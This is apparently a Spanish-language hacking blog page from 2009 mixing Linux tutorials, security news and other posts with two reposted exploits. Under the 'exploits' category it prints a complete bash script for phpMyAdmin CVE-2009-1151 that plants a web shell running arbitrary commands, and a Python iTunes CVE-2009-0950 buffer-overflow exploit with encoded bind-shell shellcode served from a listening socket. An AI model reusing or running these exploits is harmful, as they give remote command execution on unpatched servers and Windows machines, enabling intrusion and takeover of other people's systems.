Limpiar Memoria en GNU/Linux

En los sitemas que utlizan el Kernel de Linux existe una forma de limpiar la memoria cacheada en RAM, que es información que está ahí por si hace falta, pero que no tiene por qué necesariamente estar ahí, es totalmente prescindible.

Apache es una aplicación que utiliza mucho ese tipo de memoria, y claro, en un servidor web puede provocar que se utilice más RAM de la cuenta y puede provocar problemas no deseados como el empezar a paginar, que no es otra cosa que empezar a utilizar el disco duro con información que debería estar en RAM y como la velocidad de acceso a disco es muy inferior al acceso a RAM pues el equipo puede parecer que se ha quedado “colgado”, de forma que ni siquiera podamos llegar a logarnos en el mismo.

Otro ejemplo es el navegador web Firefox, el cual consume mucha memoria, sin que tengamos una pagina abierta con muchos contenidos.

Pero en el kernel 2.6.16 se introdujeron cambios y gracias a estos cambios la solución es muy sencilla, en el directorio /proc/sys/vm/ tenemos un fichero llamado drop_caches que es el encargado de decirle al kernel qué hacer con esa información que está en memoria, por defecto se permite el utilizar este tipo de memoria, pero para reducir RAM nos puede interesar que el kernel actúe de otra manera, modificando el valor del fichero con los siguientes valores:

  • 0: No libera nada.
  • 1: Libera la pagecache.
  • 2: Libera inodos y dentries.
  • 3: Libera pagecache, inodos y dentries.

La pagecache es la memoria la caché de páginas, un inodo es la representación de ficheros y directorios en memoria y las dentries son las entradas de directorio, componentes de un path, todos estos valores en RAM.

Para liberar podemos ejecutar estos comandos como root o con un sudo delante:

echo 1 > /proc/sys/vm/drop_caches : Libera la pagecache.


echo 2 > /proc/sys/vm/drop_caches : Libera inodos y dentries.


echo 3 > /proc/sys/vm/drop_caches : Libera pagecache, inodos y dentries.

Y por supuesto no es mala idea hacer esto de vez en cuando vía una entrada en el cron de root con un crontab -e  (ejecutar en una consola: sudo contrab -e) con lo siguiente:

#Entrada para limpiar la cache en memoria
3,18,33,48 * * * * sync; echo 3 > /proc/sys/vm/drop_caches

El sync que se pone antes es para asegurarnos que todos los objetos cacheados son liberados y es muy recomendable ponerlo siempre.

tecnicos Linux.

Posted under tutos by Zerialkiller on Friday 26 June 2009 at

Lethe: el “deep freeze” GPL para GNU/Linux

¿Qué es Lethe?

Lethe es un “congelador” de particiones similar a Deep Freeze totalmente libre para Lihuen GNU/Linux y Debian GNU/Linux (probablemente funcione en otras distribuciones derivadas como Ubuntu, pero no se han hecho pruebas). Lethe hace funcionar las particiones de el o los discos rígidos como si fueran un Live CD. Todos los cambios que se realicen sobre el sistema de archivos en realidad no se guardan si no que se escriben en RAM. Cuando el sistema reinicia, el contenido nuevo es “olvidado” y se pierde, restaurando el o los discos a su estado original.

Lethe está basado en Rootaufs, originalmente escrito por Nicholas Schembri, a quien se agradece el haber publicado su script con licencia GPL y por hacer este trabajo posible.

Lethe, en mitología griega, es uno de los ríos del Hades. Quienes bebían de sus aguas experimentaban un olvido completo.

Instalación

Para instalar Lethe (en su versión de prueba 0.1-3) en Lihuen GNU/Linux o en Debian GNU/Linux son necesarios dos paquetes, aufs-modules y aufs-tools. Estos paquetes se pueden instalar con Synaptic, o desde una terminal con privilegios de administrador con los siguientes comandos

apt-get install aufs-tools

Luego es necesario instalar con Gdebi o también desde la terminal con dpkg el paquete lethe-0.1-3.

dpkg -i lethe_0.1-3-rev200905141647_i386.deb

Esto modifica la imagen initramfs del sistema y el menú de GRUB, pasándole un parámetro más al kernel aufs=tmpfs. Si no quiere arrancar el sistema en modo olvidar, simplemente remueva este argumento en el archivo de configuración de GRUB o en el momento de la carga presionando E en el menú de GRUB.

Posted under tutos by Zerialkiller on Friday 26 June 2009 at

Estados Unidos se prepara para la ciberguerra

El secretario de defensa estadounidense, Robert Gates, anunció la creación de un ciber comando nacional, que entrará en funciones en octubre próximo, y que deberá estar totalmente cooperativo un año después. La labor del organismo será coordinar las iniciativas de protección de las redes militares contra ataques externos, y desarrollar además métodos para atacar los sistemas informáticos de otros países.

El nuevo ciber comando estará adscrito a la organización secreta National Security Agency (NSA), que desde ya se dedica a la inteligencia electrónica y ciber seguridad, mediante US Strategic Command, entidad encargada, entre otras cosas, del arsenal atómico estadounidense.

En un memorando referido por medios estadounidenses, Robert Gates explica que el cibercomando “asegurará la libertad de acción en el ciberespacio”.

Fuente: USA Today

Posted under Noticias by Zerialkiller on Friday 26 June 2009 at

BackTrack 4 Pre Release

http://remote-exploit.org/backtrack_download.html

Exelente =)

Posted under Noticias by Zerialkiller on Saturday 20 June 2009 at

Eliminan 45 vulnerabilidades de iPhone

La nueva versión del sistema operativo de Apple para iPhone no solo incluye un gran número de nuevas funciones.

En total, 45 vulnerabilidades son eliminadas de iPhone con el nuevo sistema operativo. La actualización también abarca iPod Touch, aunque para los consumidores, la seguridad mejorada de estas unidades es un servicio comercial pagado.

La mayor parte de las vulnerabilidades solucionadas se refieren al navegador Safari y al motor Webkit en que está basado. Varias de estas vulnerabilidades son conocidas y ya han sido eliminadas por Apple en Safari 4 para Mac y Windows.

Sin embargo, también se incluyen varias vulnerabilidades en el componente CoreGraphics de iPhone OS, algunas de las cuales pueden ser explotadas mediante documentos PDF malignos.

Algunas de las vulnerabilidades ahora eliminadas hacían posible además la ejecución de código aleatorio.

En esta página, Apple publica una descripción completa de las vulnerabilidades solucionadas en iPhone OS 3.0.

Posted under Noticias by Zerialkiller on Friday 19 June 2009 at

“Google debería seguir el ejemplo de Bing”

Poco después de que el conservador sitio estadounidense Fox News calificara el nuevo buscador Bing de “portal pornográfico”, Microsoft aplicó una serie de medidas tendientes a facilitar la filtración de contenidos inapropiados.

La facilidad de uso del sistema y su funcionalidad llevaron a un observador de ZDnet a sugerir a Google instaurar un sistema parecido en su buscador.

Es sabido que un gran número de escuelas y de padres bloquean la función de búsqueda de imágenes en Google, con el fin de evitar la presentación de fotografías e ilustraciones pornográficas a menores de edad. El filtro en cuestión es controlado por el propio usuario, y no por administradores de red. Esto resulta en que muchos usuarios sencillamente no saben qué hacer. Microsoft parece haber encontrado la solución.

Bing filtra los contenidos “adultos”, antes que éstos sean presentados al usuario, creando un dominio específico para este material. El dominio en cuestión, denominado explicit.bing.net, es invisible para el usuario final, pero facilita el trabajo de los administradores de redes, que puede bloquear el acceso al dominio, y de ésa forma eliminar la visualización de sus imágenes por parte del usuario final.

Bing incluye además en su código la URL de las imágenes y vídeos, haciendo posible que las empresas que hayan bloqueado una página ya no reciban resultados originados en ésta.

diarioti.

Posted under Noticias by Zerialkiller on Wednesday 17 June 2009 at

Hip Hop Hasta en el Baño!

Ser parte de una ideología no es fácil, se tiene que cumplir con todos los requisitos necesarios para seguirle al pie de la letra. como un gran instructivo que seguir para ser considerado parte de esa ideología y compartirla con los demás.

El Rap como el Hip Hop dos grandes movimientos socioculturales que unen a muchos al son de las palabras conjugadas para hacer música con gran creatividad y mensajes que ayudan a expresar a la juventud. No cabe duda que música que este tipo de música no es muy apreciada por muchos pero tiene un gran auge en los jóvenes formando parte de la ideología musical de estos tiempos. Te recomiendo Radio Hip Hop ya que podrá ayudarte a escuchar las voces de la juventud que aclaman ser escuchados.

Posted under karma by gndx on Tuesday 16 June 2009 at

phpMyAdmin (/scripts/setup.php) PHP Code Injection Exploit

#!/bin/bash

# CVE-2009-1151: phpMyAdmin '/scripts/setup.php' PHP Code Injection RCE PoC v0.11
# by pagvac (gnucitizen.org), 4th June 2009.
# special thanks to Greg Ose (labs.neohapsis.com) for discovering such a cool vuln,
# and to str0ke (milw0rm.com) for testing this PoC script and providing feedback!

# PoC script successfully tested on the following targets:
# phpMyAdmin 2.11.4, 2.11.9.3, 2.11.9.4, 3.0.0 and 3.0.1.1
# Linux 2.6.24-24-generic i686 GNU/Linux (Ubuntu 8.04.2)

# attack requirements:
# 1) vulnerable version (obviously!): 2.11.x before 2.11.9.5
# and 3.x before 3.1.3.1 according to PMASA-2009-3
# 2) it *seems* this vuln can only be exploited against environments
# where the administrator has chosen to install phpMyAdmin following
# the *wizard* method, rather than manual method: http://snipurl.com/jhjxx
# 3) administrator must have NOT deleted the '/config/' directory
# within the '/phpMyAdmin/' directory. this is because this directory is
# where '/scripts/setup.php' tries to create 'config.inc.php' which is where
# our evil PHP code is injected 8) 

# more info on:
# http://www.phpmyadmin.net/home_page/security/PMASA-2009-3.php
# http://labs.neohapsis.com/2009/04/06/about-cve-2009-1151/

if [[ $# -ne 1 ]]
then
	echo "usage: ./$(basename $0) <phpMyAdmin_base_URL>"
	echo "i.e.: ./$(basename $0) http://target.tld/phpMyAdmin/"
	exit
fi

if ! which curl >/dev/null
then
	echo "sorry but you need curl for this script to work!"
       	echo "on Debian/Ubuntu: sudo apt-get install curl"
       	exit
fi

function exploit {

postdata="token=$1&action=save&configuration="\
"a:1:{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:23:%22host%27]="\
"%27%27%3b%20phpinfo%28%29%3b//%22%3bs:9:%22localhost%22%3bs:9:"\
"%22extension%22%3bs:6:%22mysqli%22%3bs:12:%22connect_type%22%3bs:3:"\
"%22tcp%22%3bs:8:%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:"\
"%22config%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

postdata2="token=$1&action=save&configuration=a:1:"\
"{s:7:%22Servers%22%3ba:1:{i:0%3ba:6:{s:136:%22host%27%5d="\
"%27%27%3b%20if(\$_GET%5b%27c%27%5d){echo%20%27%3cpre%3e%27%3b"\
"system(\$_GET%5b%27c%27%5d)%3becho%20%27%3c/pre%3e%27%3b}"\
"if(\$_GET%5b%27p%27%5d){echo%20%27%3cpre%3e%27%3beval"\
"(\$_GET%5b%27p%27%5d)%3becho%20%27%3c/pre%3e%27%3b}%3b//"\
"%22%3bs:9:%22localhost%22%3bs:9:%22extension%22%3bs:6:%22"\
"mysqli%22%3bs:12:%22connect_type%22%3bs:3:%22tcp%22%3bs:8:"\
"%22compress%22%3bb:0%3bs:9:%22auth_type%22%3bs:6:%22config"\
"%22%3bs:4:%22user%22%3bs:4:%22root%22%3b}}}&eoltype=unix"

	flag="/tmp/$(basename $0).$RANDOM.phpinfo.flag.html"

	echo "[+] attempting to inject phpinfo() ..."
	curl -ks -b $2 -d "$postdata" --url "$3/scripts/setup.php" >/dev/null

	if curl -ks --url "$3/config/config.inc.php" | grep "phpinfo()" >/dev/null
	then
		curl -ks --url "$3/config/config.inc.php" >$flag
		echo "[+] success! phpinfo() injected successfully! output saved on $flag"
		curl -ks -b $2 -d $postdata2 --url "$3/scripts/setup.php" >/dev/null
		echo "[+] you *should* now be able to remotely run shell commands and PHP code using your browser. i.e.:"
		echo "    $3/config/config.inc.php?c=ls+-l+/"
		echo "    $3/config/config.inc.php?p=phpinfo();"
		echo "    please send any feedback/improvements for this script to"\
		"unknown.pentester<AT_sign__here>gmail.com"
	else
		echo "[+] no luck injecting to $3/config/config.inc.php :("
		exit
	fi
}
# end of exploit function

cookiejar="/tmp/$(basename $0).$RANDOM.txt"
token=`curl -ks -c $cookiejar --url "$1/scripts/setup.php" | grep \"token\" | head -n 1 | cut -d \" -f 12`
echo "[+] checking if phpMyAdmin exists on URL provided ..."

#if grep phpMyAdmin $cookiejar 2>/dev/null > /dev/null
if grep phpMyAdmin $cookiejar &>/dev/null
then
	length=`echo -n $token | wc -c`

	# valid form token obtained?
	if [[ $length -eq 32 ]]
	then
		echo "[+] phpMyAdmin cookie and form token received successfully. Good!"
		# attempt exploit!
		exploit $token $cookiejar $1
	else
		echo "[+] could not grab form token. you might want to try exploiting the vuln manually :("
		exit
	fi
else
	echo "[+] phpMyAdmin NOT found! phpMyAdmin base URL incorrectly typed? wrong case-sensitivity?"
	exit
fi
Posted under exploits by Zerialkiller on Saturday 13 June 2009 at

Apple iTunes 8.1.1.10 (itms/itcp) Remote Buffer Overflow Exploit (win)

#!/usr/bin/python
# Apple iTunes 8.1.1.10 itms/itcp BOF Windows Exploit
# www.offensive-security.com/blog/vulndev/itunes-exploitation-case-study/
# Matteo Memelli | ryujin __A-T__ offensive-security.com
# Spaghetti & Pwnsauce - 06/10/2009
# CVE-2009-0950 http://dvlabs.tippingpoint.com/advisory/TPTI-09-03
#
# Vulnerability can't be exploited simply overwriting a return address on the
# stack because of stack  canary protection. Increasing buffer  size leads to
# SEH overwrite but it seems that the Access Violation needed to get  our own
# Exception Handler called is not always thrown.
# So, to increase reliability, the exploit sends two URI to iTunes:
# - the 1st payload corrupts the stack (it doesnt overwrite cookie, no crash)
# - the 2nd payload fully overwrite SEH to 0wN EIP
# Payloads must be encoded in order to obtain pure ASCII printable shellcode.
# I could trigger the  vulnerability from  Firefox but not from IE that seems
# to truncate the long URI.
# Tested on Windows XP SP2/SP3 English, Firefox 3.0.10,
# iTunes 8.1.1.10, 8.1.0.52
#
# --> hola hola ziplock, my Apple Guru! ;) && cheers to muts... he knows why
#
# ryujin:Desktop ryujin$ ./ipwn.py
# [+] iTunes 8.1.10 URI Bof Exploit Windows Version CVE-2009-0950
# [+] Matteo Memelli aka ryujin __A-T__ offensive-security.com
# [+] www.offensive-security.com
# [+] Spaghetti & Pwnsauce
# [+] Listening on port 80
# [+] Connection accepted from: 172.16.30.7
# [+] Payload sent, wait 20 secs for iTunes error!
# ryujin:Desktop ryujin$ nc -v 172.16.30.7 4444
# Connection to 172.16.30.7 4444 port [tcp/krb524] succeeded!
# Microsoft Windows XP [Version 5.1.2600]
# (C) Copyright 1985-2001 Microsoft Corp.
#
# C:\Program Files\Mozilla Firefox> 

from socket import *

html = """
<html>
  <head><title>iTunes loading . . .</title>
  <script>
   function openiTunes(){document.location.assign("itms://itunes.apple.com/");}
   function prepareStack(){document.location.assign("%s");}
   function ownSeh(){document.location.assign("%s");}
   function ipwn(){
    prepareStack();
    ownSeh();
   }
   function main() {
    openiTunes();
    // Increase this timeout if your iTunes takes more time to load!
    setTimeout('ipwn()',20000);
   }
  </script>
  </head>
  <body onload="main();">
    <p align="center">
    <b>iTunes 8.1.1.10 URI Bof Exploit Windows Version CVE-2009-0950</b>
    </p>
    <p align="center"><b>ryujin __ A-T __ offensive-security.com</b></p>
    <p align="center"><b>www.offensive-security.com</b></p>
    <p align="center">
    iTunes starting... wait for 20 secs; if you get an error, click "Ok"
    in the MessageBox before checking for your shell on port 4444 :)<br/>
    If victim host is not connected to the internet, exploit will fail
    unless iTunes is already opened and you disable "openiTunes" javascript
    function.
    <br/>
    <h2 align="center">
    <b><u>This exploit works if opened from Firefox not from IE!</u></b>
    </h2>
    <p align="center">
    After exploitation iTunes crashes, you need to kill it from TaskManager
    <br/>have fun!</br>
    </p>
    </p>
  </body>
</html>"""

# Alpha2 ASCII  printable  Shellcode  730 Bytes, via  EDX (0x60,0x40 Badchar)
# This is not standard Alpha2 bind shell. Beginning of shellcode  is modified
# in order to obtain register alignment and to  reset ESP and EBP we  mangled
# before. Rest of decoded shellcode is Metasploit  bind  shell  on  port 4444
# EXITFUNC=thread
#
shellcode = ("VVVVVVVVVVVVVVVVV7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIOqhDahIoS0"
             "5QnaJLS1uQVaeQcdcm2ePESuW5susuPEsuilazJKRmixHykOkOKOCPLKPlUtu"
             "tnkRegLLKSLfepx31zOlK2o7hlKqOEpWqZK3ylKwDLKeQHndqo0j9llOt9P3D"
             "uW9Q8J4MWqkrJKkDukPTWTq845M5LKQOq4VajKcVLKTLPKlKQOUL6ajK336LL"
             "KMY0lWTwle1O3TqiK2DLKaSFPLKQPVllK0p7lLmlK3pUXQNU8LNbnvnjL0PkO"
             "8V2Fv3U61xds02U8RWpsVRqO649on0PhjkZMYlekpPKOKfsoMYkUpfna8mgxV"
             "b65RJuRIoHPPhHYFiL5lmBwkOzvpSPSV3F3bsg3BsSsScIohPsVRHR1sl2Fcc"
             "k9M1nuphOT6zppIWrwKO8VcZ6ppQv5KO8PBHmtNMvNm9QGKON6aCqEkOZpbHZ"
             "EbiNfRiSgioiFRpf40TseiohPLSu8KWD9kvPyf7YoxVqEKOxPu6sZpd3VSX1s"
             "0mK98ecZRpv9Q9ZlMYkWqzpDmYxbTqO0KCoZKNaRVMkN3r6LJ3NmpzFXNKNKL"
             "ksX0rkNls5FkOrURdioXVSk67PRPQsapQCZgqbq0QSesaKOxPaxNMZyEUjnCc"
             "KOn6qzKOkOtwKOJpNk67YlMSKtcTyozvrryozp0hXoZnYp1p0SkOXVKOHPA")
# Padding
pad0x1          = "\x41"*425

# Make EDX pointing to shellcode and "pray" sh3llcod3 M@cumBa w00t w00t
align           = "\x61"*45 + "\x54\x5A" + "\x42"*6 + "V"*10

# Padding
pad0x2          = "\x41"*570                                   

# ASCII friendly RET overwriting SEH: bye bye canary, tweet tweet
# 0x67215e2a QuickTime.qts ADD ESP,8;RETN (SafeSEH bypass)
ret             = "\x2a\x5e\x21\x67"

# Let the dance begin... Point EBP to encoded jmp
align_for_jmp   = "\x61\x45\x45\x45" + ret + "\x44" + "\x45"*7

# Decode a NEAR JMP and JUMP BACK BABY!
jmp_back        = ("UYCCCCCCIIIIIIIIII7QZjAXP0A0AkA"
                   "AQ2AB2BB0BBABXP8ABuJIZIE5jZKOKOA")
# Padding
pad0x3          = "\x43"*162                                   

# We send 2 payloads to iTunes: first is itms and second itpc
# url1 smashes the stack in order to get an AV later
url1            = "itms://:" + "\x41"*200 + "/"
url2            = "itpc://:" + pad0x1 + align + shellcode +pad0x2 +\
                               align_for_jmp + jmp_back + pad0x3
payload         = html % (url1, url2)

print "[+] iTunes 8.1.1.10 URI Bof Exploit Windows Version CVE-2009-0950"
print "[+] Matteo Memelli aka ryujin __A-T__ offensive-security.com"
print "[+] www.offensive-security.com"
print "[+] Spaghetti & Pwnsauce"
s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 80))
s.listen(1)
print "[+] Listening on port 80"
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.recv(1024)
c.send(payload)
print "[+] Payload sent, wait 20 secs for iTunes error!"
c.close()
s.close()
Posted under exploits by Zerialkiller on Saturday 13 June 2009 at

Famoso hacker se convertirá en asesor de Barack Obama

Estados Unidos anunció la víspera la creación de un organismo centralizado de seguridad, denominado HSAC (Department of Homeland Security Advisory Council). El criterio principal empleado por la administración de Obama fue incorporar a la organización individuos con vasta experiencia en seguridad y política, reclutados de los sectores público, privado y académico.

Entre los 16 seleccionados figura Jeff Moss, alias “Dark Tangent”, conocido como fundador los encuentros anuales de hackers Black Hat y Defcon. Moss ha trabajado además con seguridad informática en empresas como Ernst & Young y Secure Computing Corporation.

HSAC estará integrada además por el ex director del FBI, Louis Freeh y el exdirector de la CIA, William Webster. HSAC no limitará su función al ámbito de la seguridad cibernética, sino también será un organismo consultor respecto de la seguridad integral de Estados Unidos.

En una entrevista con USA Today, Moss indicó que el nombramiento le había tomado por sorpresa, señalando que el gobierno quizás buscaba una perspectiva joven, de alguien que hubiera crecido rodeado por computadoras.

Moss se refirió a lo que será su papel en HSAC señalando que fomentará el diálogo entre las autoridades y los hackers, acotando que ambos grupos participan en las conferencias Black Hat y Defcon.

Posted under Noticias by Zerialkiller on Thursday 11 June 2009 at

Next Page »